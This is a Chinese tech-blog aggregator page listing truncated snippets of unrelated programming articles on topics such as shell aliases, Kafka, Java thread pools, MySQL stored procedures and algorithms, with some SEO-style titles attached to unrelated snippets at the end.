![](https://www.ngui.cc/images/no-images.jpg)
Shell别名的使用方法及管理技巧
文章目录 1. 引言1.1 概述1.2 目的1.3 适用范围 2. Shell和别名2.1 Shell简介2.2 别名的作用2.3 别名的语法 3. 创建别名3.1 临时别名3.2 永久别名 4. 别名的应用4.1 简化命令4.2 自定义命令4.3 提高工作效率 5. 管理别名5.1 查看别名5.2 修改别名5.3 删除别名 6. 实例演示6.1 …...
![](https://img-blog.csdnimg.cn/0edebed0ebd54edebd2ae71280d54b0e.png)
C/C++选择题好题分享
...
![](https://img-blog.csdnimg.cn/67c436deca37444d9b46e5bd92095799.png)
kafka副本机制
目录 前言 副本定义 副本角色 In-sync Replicas(ISR) 参考资料 前言 现在的很多的分布式系统都支持副本的机制,比如Mysql就有副本的机制,一般使用副本有如下特性和好处。 提供数据冗余。即使系统部分组件失效,系…...
![](https://img-blog.csdnimg.cn/img_convert/34795ff7a9b23df73dbf547fc250214f.png)
服务注册发现_actuator微服务信息完善
SpringCloud体系里的,服务实体向eureka注册时,注册名默认是IP名:应用名:应用端口名。 问题: 自定义服务在Eureka上的实例名怎么弄呢 在服务提供者pom中配置Actuator依赖 <!-- actuator监控信息完善 --> <dependency><groupId…...
![](https://img-blog.csdnimg.cn/5d34254595694cfdb2c896dd2a73c2b2.png)
常见列表字典排序
一、列表排序 demoList [1, 3, 2, 4, 9 ,7]res sorted(demoList) # 默认升序# 降序 # res sorted(demoList, reverseTrue)print(res)二、字典排序 demoDict {"篮球": 5, "排球": 9, "网球": 6, "足球": 3}# sorted排序 res so…...
![](https://img-blog.csdnimg.cn/251b6ae014964b04842f5803bc0c860d.png)
【Acwing1027】方格取数(动态规划)题解
题目描述 思路分析 错误思路: 贪心法,先走一次求出最大值,把走过的路上面的数值清零,然后用同样的方法再走一遍求最大值,然后让这两个最大值相加就是最后的结果。 很多人在看到这个题目的时候会有上面的思路&#x…...
![](https://www.ngui.cc/images/no-images.jpg)
合并区间:解决区间重叠问题的高效算法
合并区间:解决区间重叠问题的高效算法 leetcode 56. 合并区间 合并区间是一个常见的编程问题,通常涉及到一组区间,你需要将重叠的区间合并成更大的区间。这篇博客将介绍这个问题的背景,然后解释一个高效的解决方案,同…...
![](https://img-blog.csdnimg.cn/edbfaabebcd3438690334a29382cb5a3.png)
万字总结HTML超文本标记语言
一、前言:什么是网页? 网站是指在因特网上根据一定的规则,使用 HTML 等制作的用于展示特定内容相关的网页集合。网页是网站中的一“页”,通常是 HTML 格式的文件,它要通过浏览器来阅读。 网页是构成网站的基本元素,它通常由图片、链接、文字、声音、视频等元素组成。通常…...
![](https://img-blog.csdnimg.cn/20200402003844418.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NtaWxlX2Zyb21fMjAxNQ==,size_16,color_FFFFFF,t_70#pic_center)
Java线程池是如何保证核心线程不被销毁的
来源: Java线程池是如何保证核心线程不被销毁的_朝 花 拾 夕的博客-CSDN博客 对于Java中 Thread 对象,同一个线程对象调用 start 方法后,会在执行完run 后走向终止(TERMINATED)状态,也就是说一个线程对象是不可以通过多…...
![](https://www.ngui.cc/images/no-images.jpg)
新课程标准培养学生“高考物理关键能力”的实践研究课题文献综述
目录 一、高考物理能力的要求与评估标准 二、高考物理关键能力的定义与内涵...
![](https://img-blog.csdnimg.cn/e3256a1ef4fd43a4894724cc88b6002d.png)
急救车工业路由器应用提升急救效率:车联网、数据采集与远程诊疗
急救车作为医院里医疗急救过程中的重要组成部分,在智慧医疗物联网领域中急救车应用4G工业路由器实现网络部署与数据采集,通过工业4G路由器能够实时采集到病患的生理数据、救护现场音频与视频、GPS定位以及车辆运行状态等重要信息。这些数据将被传输到医疗…...
![](https://www.ngui.cc/images/no-images.jpg)
【操作系统】聊聊CPU上下文切换实操
如何查看系统的上下文切换情况 上一篇文章我们说了过多的上下文切换,会把CPU时间消耗在寄存器、内核栈以及虚拟内存等数据的保存和恢复上,那么当出现系统的上下文切换过多的时候,我们如果通过监控指标查看呢。 vmstat 是一个常用的系统性能…...
![](https://img-blog.csdnimg.cn/7a2521d99b0c4e7d8114e83eaf33ce53.png)
【java】【SpringBoot】【四】原理篇 bean、starter、核心原理
目录 一、自动配置 1、bean加载方式(复习) 1.1 加载方式-xml方式生命bean 1.2 加载方式-xml注解方式声明bean 1.3 注解方式声明配置类 1.4 FactoryBean 1.5 proxyBeanMethod属性 1.6 使用Import注解导入 1.7 使用上下文对象在容器初始化完毕后注…...
![](https://img-blog.csdnimg.cn/8bb6b071d00049938e8e8d6f642ba245.png)
【精品资源】Java毕业设计攻略:从选题到答辩,一站式指南
导读: Java毕业设计是计算机科学与技术专业学生展示其编程能力、问题解决能力和创新思维的重要环节。这篇博客将为您提供一站式的Java毕业设计攻略,帮助您从选题到答辩,顺利完成毕业设计。 一、选题阶段 寻找灵感: 探讨热门技术如…...
![](https://img-blog.csdnimg.cn/49f5baeee16d431e9270c25764bc7f3c.png)
文件高效批量重命名,轻松重命名不同类型的文件名并隐藏编号
你是否曾经因为文件名混乱而感到困扰?你是否希望有一种方法可以快速、简单地管理你的文件名?如果你的答案是肯定的,那么我们的产品——文件重命名工具,将是你的完美解决方案! 首先我们要进入文件批量改名高手主页面&a…...
![](https://img-blog.csdnimg.cn/750a9e4f05b54ece861a12ec01867062.png#pic_center)
接口的定义与实现
一个c,代表类(class)。 一个c再加上两竖线,代表抽象类。 一个i,代表接口(interface)。 package com.mypackage.oop.demo12;//接口都需要有一个实现类 public interface UserService {//接口中定…...
![](https://img-blog.csdnimg.cn/img_convert/b20223034e6a9c283e37f7d087ab3982.png)
浅谈低压绝缘监测及定位系统在海上石油平台的研究与应用
安科瑞 华楠 摘要:海上石油平台低压系统与陆地电力系统有很大区别,其属于中性点绝缘系统,在出现单相接地故障时,系统允许带故障正常运行2 h,保证海上重要电气设备不会立即关停。现以渤海某海上平台为例,其…...
![](https://img-blog.csdnimg.cn/6bbb50e902b548f3ae73fc1643cf3c04.png)
Java项目:SSM的食堂点餐系统
作者主页:Java毕设网 简介:Java领域优质创作者、Java项目、学习资料、技术互助 文末获取源码 一、相关文档 系统中的核心用户是系统管理员,管理员登录后,通过管理员菜单来管理后台系统。主要功能有:个人中心、用户管理…...
![](https://img-blog.csdnimg.cn/2d6aa697165548809c7d82677282d6d0.png)
Linux桌面环境中应用程序无法启动图形交互界面
现象: 点击永中office或者金山office快捷图标无法启动对应的程序。 从命令行执行对应的程序则提示 按照提示安装组件 再次执行命令行程序 原因探析: /opt/Yozosoft/Yozo_Office/Yozo_Writer.bin: error while loading shared libraries: libgdk-x11-2.0.…...
![](https://img-blog.csdnimg.cn/9dffbf16bb9241ebb06e111d7e27cd1b.png)
jupyter notebook进不去指定目录怎么办?
首先激活你要使用的虚拟环境 刚开始是现在 (base) C:\Users\lenovo>目录下 直接输入你想进入的盘 (base) C:\Users\lenovo>e:此时再cd (base) C:\Users\lenovo>cd E:\tim\learn_pytorch 就可以进入了 安装3.4.1.15问题 已经有了最新python版本的虚拟环境&#…...
![](https://img-blog.csdnimg.cn/e901d1698c9446c498726b134b89836d.png)
MySQL 高级(进阶) SQL 语句(二) -----存储过程
目录 1 存储过程 1.1 创建存储过程 1.2 调用存储过程 1.3 查看存储过程 1.4 存储过程的参数 1.5 修改存储过程 1.6 删除存储过程 2 条件语句 3 循环语句 1 存储过程 存储过程是一组为了完成特定功能的SQL语句集合。 存储过程在使用过程中是将常用或者复杂的工作预…...
![](https://img-blog.csdnimg.cn/bd897cd143324d68a2a4b2f15e2fb560.png)
机器学习第十三课--主成分分析PCA
一.高维数据 除了图片、文本数据,我们在实际工作中也会面临更多高维的数据。比如在评分卡模型构建过程中,我们通常会试着衍生出很多的特征,最后就得到上千维、甚至上完维特征;在广告点击率预测应用中,拥有几个亿特征也是常见的事…...
![](https://img-blog.csdnimg.cn/d7bd28e8c88c40049d521ebef0eee0eb.png)
钉钉stream机器人-实操详细教程
支持事件订阅、机器人收消息、卡片回调等功能 优点: 配置简单,不依赖也不需要暴露公网IP,无需向公网开放端口 github官方链接:GitHub - open-dingtalk/dingtalk-stream-sdk-python: Python SDK for DingTalk Stream Mode API, Co…...
![](https://www.ngui.cc/images/no-images.jpg)
设计模式:访问者模式(C++实现)
访问者模式通过将对元素的操作与元素本身分离,使得可以在不修改元素类的情况下定义新的操作。 #include <iostream> #include <vector> #include <algorithm>// 前向声明 class ConcreteElementA; class ConcreteElementB;// 访问者接口 class V…...
![](https://www.ngui.cc/images/no-images.jpg)
Pygame中Sprite的使用方法6-6
4 重新绘制界面 每次碰撞发生后,程序界面需要重新绘制,代码如下所示。 screen.fill(WHITE) all_sprites_list.draw(screen) pygame.display.flip() 其中,screen表示程序的整个界面,将其绘制为白色背景;之后通过all_…...
![](https://img-blog.csdnimg.cn/img_convert/da81330f45ca185b020e97182b1cbb6d.gif)
章丘网站制作/数字营销成功案例
HTML5 服务器发送事件(Server-Sent Events) 服务器发送事件(Server-sent Events)是基于 WebSocket 协议的一种服务器向客户端发送事件和数据的单向通讯。 HTML5 服务器发送事件(server-sent event)允许网页获得来自服务器的更新。…...
![](https://s1.51cto.com/images/blog/201904/15/26ad61f936b43247c7cf5ce6b5c52150.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
重庆九龙坡区网站建设/竞价推广代运营公司
SFP光模块和XFP光模块的区别①10G SFP光模块是SFP光模块的升级版,是基于SFP封装形式,而10G XFP光模块是基于XFP封装标准。②10G SFP光模块比10G XFP光模块外观尺寸更小,因此10G SFP光模块能满足高密度板卡对光模块的体积要求,但是…...
![](https://img-blog.csdnimg.cn/d5755725a60c4a7ea59ba813fed91038.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQ19lZWtpbmc=,size_20,color_FFFFFF,t_70,g_se,x_16)
陕西网络开发公司网站/推广品牌
Dinic算法思想结果输出当前弧优化训练LuoguP3376POJ1149POJ1459HDU3549HDU1532总结参考文献算法思想 Dinic相对于EK算法,更注重点的使用,Dinic算法首先BFS搜索将图进行分层,然后DFS沿着层次1且cap>flowcap>flowcap>flow的方向寻找增…...
![](/images/no-images.jpg)
武汉做网站互助系统/免费友情链接网站
Js实现动态更新时钟 时钟有两个特点:1. 动态更新 2. 外表美观 Html <!-- 调用方法 --><body onload"startTime()"><div class"Box"><div id"Time"></div></div></body…...
![](https://img2018.cnblogs.com/blog/1486391/201904/1486391-20190412171525834-1617819719.png)
南京网站开发测试/全网推广平台
函数防抖(debounce):在事件被触发n秒后再执行回调,如果在这n秒内又被触发,则重新计时。 看一个?(栗子): //模拟一段ajax请求 function ajax(content) {console.log(ajax request content) }let inputa …...
![](https://img-blog.csdnimg.cn/img_convert/ef5ab4f29c5eac9a88a63b0522210efa.png)
建设免费网站模板/seo发帖软件
在所有网络通信协议中,protobuf协议可以说最优秀的,封装的字节流最少(减少前后端io流的量),解析速度也是最快的(提交了服务器响应速度),跨语言方面也是很强大的,现在几乎所有的编程语言都支持它。但是也是通信协议中最…...